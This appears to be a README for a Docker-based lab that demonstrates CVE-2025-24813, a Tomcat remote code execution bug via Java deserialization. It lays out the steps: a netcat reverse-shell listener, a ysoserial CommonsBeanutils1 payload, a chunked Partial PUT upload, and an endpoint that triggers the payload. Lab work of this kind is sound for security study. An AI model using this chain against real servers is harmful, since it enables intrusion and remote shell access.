CVE-2025-24813

tags: [tomcat, cve-2025-24813, java, rce, reverse-shell, lab] title: 🧪 CVE-2025-24813 Tomcat RCE Lab (Docker + ysoserial)

🧪 CVE-2025-24813 Tomcat RCE Lab (Docker + ysoserial)

This lab demonstrates remote code execution via unsafe Java deserialization in a Tomcat-hosted app that processes serialized session files. The full environment runs in Docker with a crafted reverse shell payload delivered via a Partial PUT request.

📁 Directory Layout

.
├── 0-run-tomcat.sh        # Build + run vulnerable Tomcat container
├── 1-generate-revshell.sh # Start Netcat reverse shell listener
├── 2-generate-payload.sh  # Generate ysoserial reverse shell payload
├── 3-upload-file.sh       # Upload serialized payload via Partial PUT
├── 4-exploit.sh           # Trigger deserialization endpoint
├── readme.md              # This file
├── source.sh              # Sets CALLBACK_IP, LISTENER_PORT, etc
├── dummy-app/
│   ├── src/
│   │   └── main/java/com/example/DeserializeServlet.java
│   ├── pom.xml
│   └── Dockerfile

⚙️ Prerequisites

Install Java and Netcat:

brew install openjdk netcat

Ensure you’re using JDK 11+ and allow unsafe module access via --add-opens.

🧨 Exploit Flow

1. 🛠 Build and run vulnerable Tomcat
2. 🐚 Start reverse shell listener
3. 💣 Generate ysoserial payload (CommonsBeanutils1)
4. 📤 Upload payload using HTTP Partial PUT
5. 🎯 Trigger deserialization and catch shell

🧪 Usage

1. Build and run vulnerable Tomcat

bash 0-run-tomcat.sh

2. Set environment variables

Create a source.sh file like this:

export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100

Then source it:

source source.sh

3. Start reverse shell listener

In a separate terminal:

bash 1-generate-revshell.sh

This runs:

nc -lnvp 4444

4. Generate the payload

bash 2-generate-payload.sh

This will:

• Download ysoserial.jar if needed
• Generate a CommonsBeanutils1 payload with reverse shell
• Save it as rev_shell.ser

5. Upload the payload

bash 3-upload-file.sh

This script performs an HTTP Partial PUT upload in chunks using Content-Range headers.

6. Trigger the exploit

bash 4-exploit.sh

This hits:

http://localhost:8080/xxx-api/profile

Which deserializes the uploaded file and executes the payload.

✅ You’ll get a reverse shell in the Netcat terminal!

🔍 Debugging

Inside the container:

docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l

Check if the file /tmp/beanutils-worked exists if testing with a safe payload.

💡 Notes

• Payloads require --add-opens to bypass module restrictions in Java 11+
• Reverse shell might fail silently if /bin/bash isn’t available (try /bin/sh)
• You can safely test code execution with: touch /tmp/rce-worked

🧱 Based On

• frohoff/ysoserial
• Apache Tomcat 9.x
• Java deserialization exploit chains (CommonsBeanutils1)